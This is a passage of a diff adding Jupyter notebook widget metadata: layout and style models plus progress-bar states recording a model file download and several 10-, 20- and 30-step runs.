+ "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4e3eebfc758c467fbf44e81c0de7068d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4e55fede968943718a3c10962f5f708b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4e8ec740f2ba45d1817c46b449e34423": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "50207c4a7c9d439896796dd407c1c3da": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_e67431e7efe24016bcf04dfbcffc776e", + "max": 20, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e23ebecc8f5f4598a991da021d78ddd2", + "value": 20 + } + }, + "50569e1467f7411e862553111c97afb3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "50b52602c923405eb91d1a4a7af8b5c5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_9c621a99b504459590a39098afbe5d50", + "IPY_MODEL_50207c4a7c9d439896796dd407c1c3da", + "IPY_MODEL_bd4b11f4948c40fb8101049fa3754dde" + ], + "layout": "IPY_MODEL_041e8d74b5744f908e37407f4cdece4e" + } + }, + "516f366ed73b4ed0991a6a91fb22a3d8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "5189fa18ab144b5a93124e0b555d5677": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "51a8aa7fde0c449392867b95a7aa6c16": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "532e652d4d5245c8b7579c4fda4217c3": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "55470891a5ad41f2b04d3d5c86c1c934": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_9e6fae549ea447e89a0ab36ba19e5fab", + "placeholder": "​", + "style": "IPY_MODEL_d79c2804b05248d8989a1462716a3478", + "value": " 20/20 [00:05<00:00, 3.86it/s]" + } + }, + "55e9c8210ea743939cdcdf6b873e00a1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "56310a7fb0804b43a60815c858d910c5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "59514b4f9b8f4930a1b07aad4ab19d25": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_932741fa7e674b6595866eecaf746bc9", + "max": 100, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_eb2855fb57d64857ab32fafd3a77b457", + "value": 100 + } + }, + "59e8c90ecdf04c2b89f9a539e7f7fdbb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "5a00f85a6e9e44fcaa25dd0d982f2d0f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5a4843d7d25545dea9b6e53cb091321b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "5c825455d85948b99f86b3495de63b29": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5caac903dab34c119294cd4bfb65725c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_eed1d1e67a1d4a20ba49586148ca5a2a", + "placeholder": "​", + "style": "IPY_MODEL_147c95feace0447ca58cc4079cb2cbe5", + "value": " 20/20 [00:05<00:00, 3.88it/s]" + } + }, + "5fd422b13c324a8baf619da5d1ad0b8e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8f10179341c44eb192f865feb143c57e", + "placeholder": "​", + "style": "IPY_MODEL_7f58916aaee04e5b89978d0111acf83d", + "value": " 10/10 [00:02<00:00, 3.82it/s]" + } + }, + "6168a5fc0aeb44cfab1ca7753ecedced": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "62905ea2ea4045aeb5ec9a8426247100": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6923960e3752477590c9c9ebc862163c", + "max": 3438213622, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_b286d3656c404762b3aaff97f4a5892d", + "value": 3438213622 + } + }, + "63ecaa7f41ce4289aa768b77e9ceebe7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_7ede80a1f6544f2a8dfd631cb6d4eaca", + "max": 10, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_3bcb60cbd7ab48e2884460a1e539bd12", + "value": 10 + } + }, + "641c3e365227455c87baeb3597c44cde": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "65947bf28d8c47059e1dae1f1d2f97b2": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "686e9a80d1554e6ca5ff8e1df5188c31": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6923960e3752477590c9c9ebc862163c": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "69484df819aa44b3858b76432cc84beb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a726d364296442e196e973e575578c30", + "placeholder": "​", + "style": "IPY_MODEL_94b5651c5cd14901ac59ce22bb80fcfa", + "value": " 30/30 [00:08<00:00, 3.63it/s]" + } + }, + "6972c854e0ed46949fa89673845aa9b5": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b74ed8b4d7604233a405f1413959b644", + "IPY_MODEL_c61940c9c4174fa8b515bbda3b612146", + "IPY_MODEL_a8983f58e5c44385864ba164e3d00083" + ], + "layout": "IPY_MODEL_d11ce4de43984beab4937652c55419cb" + } + }, + "6a234c3c85734a2cae1348a3329bb659": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b77a65348afa4b6aae8540dd5d9e4d2c", + "placeholder": "​", + "style": "IPY_MODEL_960b8d20472f40078fc9566abc065cc1", + "value": " 10/10 [00:02<00:00, 3.78it/s]" + } + }, + "6a6320e8239d4413b9fc766b2e06ff1e": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_af5bcc7147324069a3d292911d70d057", + "placeholder": "​", + "style": "IPY_MODEL_95a784af30bd4bde911e0ee76e343e72", + "value": "Downloading (…)rocessor_config.json: 100%" + } + }, + "6b04b7bfcca645368b1287a3467bc3a1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6b403cea94ae4e2887302d164e991cf8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_a464d6a9bc374081a75ad8a0514c869a", + "placeholder": "​", + "style": "IPY_MODEL_0c1419eec41b48f093ec53410c10c583", + "value": "Downloading model.safetensors: 100%" + } + }, + "6be67e6518ea45a0b14a24c79b947617": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_d9069541f2f246b99881a937f384c7ab", + "max": 472, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_c5ffdd678bd444d6b66bc7525947b716", + "value": 472 + } + }, + "6d22121bbb6f4bcaa1b5f355d0f2e8a1": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_ed4320b4d8284ead91830c0b11b9bc56", + "IPY_MODEL_1fe983e43b7f4bca905a65b07eef5491", + "IPY_MODEL_6a234c3c85734a2cae1348a3329bb659" + ], + "layout": "IPY_MODEL_d3415f46386c49ce9593585d421657fa" + } + }, + "6daa2b5b26e4459aa5bdebd0062cf021": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "6e4877900597413e96d01faf5f76b700": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "6f03e27712e84cc49ad1a665c7537f12": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + 